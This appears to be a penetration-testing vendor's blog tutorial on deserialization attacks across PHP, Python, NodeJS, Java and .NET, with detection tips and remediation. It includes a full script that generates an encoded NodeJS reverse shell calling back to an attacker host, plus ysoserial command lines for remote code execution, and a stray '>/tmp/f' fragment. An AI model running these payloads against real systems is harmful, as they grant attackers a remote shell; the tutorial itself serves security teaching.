WEBINAR
GigaOm Radar Report for PTaaS: How to Make a Smarter Investment in Pentesting
WEBINAR
GigaOm Radar Report for PTaaS: How to Make a Smarter Investment in Pentesting

The Anatomy of Deserialization Attacks

What is Deserialization?

Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.

graphic of The Anatomy of Deserialization Attacks

Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.

However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process.

Impact of Serialization

Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution (RCE) attacks as the attacker can re-use the application code which increases the attack surface.

How it Works + Cheatsheet

PHP

One can use the serialize() function to pack PHP objects up and use unserialize() to unpack it. When one controls a serialized object which is passed into unserialize(), it’s possible to have control over the values of these objects. In this case it’s possible to conduct PHP object injection using magical methods to lead variable manipulation, code execution, SQL injection, path traversal, or DoS.

PS: Some of the common magic methods to execute values are: __wakeup() or __destruct(). These methods will be executed automatically when unserialize() is called on an object.

You can achieve RCE attack by using the deserialization flaw by hijacking the magic function to provide malicious user input.

One possible way of exploiting a PHP object injection vulnerability is variable manipulation. For example, you can play around with the values in the following decoded Cookie value:

deserialization-example

In this serialize string, you can try to change the value of “status” to “admin”, and see if the application grants you admin privileges.

Screenshot 2024-05-14 at 8.48.33 AM

The vulnerable PHP functions and possible safer replacements are given below:

Screenshot 2024-05-14 at 8.45.19 AM

Python-Pickle

In Python, the pickle module lets you serialize and deserialize data. Python docs for pickle states the following warning:

Warning: The pickle module is not secure. Only unpickle data you trust.

Vulnerable function:
Search code for the pattern below:
- The uses of pickle/c_pickle/_pickle with load/loads
- Uses of PyYAML with load
- Uses of jsonpickle with encode or store methods>/tmp/f

A simple Pickle RCE payload can be found below:

Screenshot 2024-05-14 at 8.46.38 AM

Python-NodeJS

A RCE payload for the Node-JS deserialization is given below:

#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
if len(sys.argv) != 3:
  print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
  sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
def charencode(string):
  """String.CharCode"""
  encoded = ''
  for char in string:
      encoded = encoded + "," + str(ord(char))
  return encoded[1:]
print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
  var client = new net.Socket();
  client.connect(PORT, HOST, function() {
      var sh = spawn('/bin/sh',[]);
      client.write("Connected!\\n");
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
      sh.on('exit',function(code,signal){
        client.end("Disconnected!\\n");
      });
  });
  client.on('error', function(e) {
      setTimeout(c(HOST,PORT), TIMEOUT);
  });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

You can download the code here.

The following RCE payload can be passed as a value when one has the control over unserialize() function object values:

Screenshot 2024-05-14 at 8.51.25 AM

JAVA

Some of the tricks to detect JAVA deserialization for whitebox and blackbox approach are given below:

Whitebox:
The following Java API uses for potential serialization vulnerability:
- XMLdecoder with external user defined parameters
- XStream with fromXML method (xstream version <= v1.46 is vulnerable to the serialization issue)
- ObjectInputStream with readObject
- Uses of readObject, readObjectNodData, readResolve or readExternal
- ObjectInputStream.readUnshared
- Serializable

Blackbox:
Search the data include if it has the followings patterns:
- AC ED 00 05 in Hex
- rO0 in Base64
- Content-type header of an HTTP response set to application/x-java-serialized-object

For the sake of this example, let’s assume the application uses a serialization-based session mechanism and loads the Apache Commons Collections library. Even if we don’t have source code access, we can still exploit this using pre-built gadget chains by using the tool: ysoserial.

The syntax for ysoserial.jar file is given below:

java -jar ysoserial.jar CommonsCollections4 'command'

.NET

Some of the tricks to detect .NET deserialization for whitebox and blackbox approach are given below:

Whitebox:
Search the source code for the following terms:
- TypeNameHandling
- JavaScriptTypeResolver

Blackbox:
Search for the following base64 encoded content that starts with:
- AAEAAAD/////
Search for content with the following text:
- TypeObject
- $type

To exploit the attack, the ysoserial tool can again be used with the following syntax:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c “command-here” -o base64

Detection Tools

Java

.NET

Burp-Plugins

Remediation

Based on OWASP’s recommendation, the following remediations are suggested:

Using Alternative Data Formats

A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.

Many applications rely on a data-transfer object pattern that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it’s still possible that the application will make security mistakes after a pure data object is parsed.

Only Deserialize Signed Data

If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn’t have an authenticated signature.

If you’re looking for a more detailed walk through on deserialization, check out my latest video below. 

Video on Deserialization All-In-One

State of Pentesting Blog CTA 2024

Back to Blog
About Busra Demir
Busra is a former Lead Cobalt Core Pentester with a passion for offensive security research, capture the flag exercises, and certifications. She has currently completed her OSCE, OSCP, and OSWP certifications. More By Busra Demir
A Pentester's Guide to Server Side Template Injection (SSTI)
Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side.
Blog
Dec 24, 2020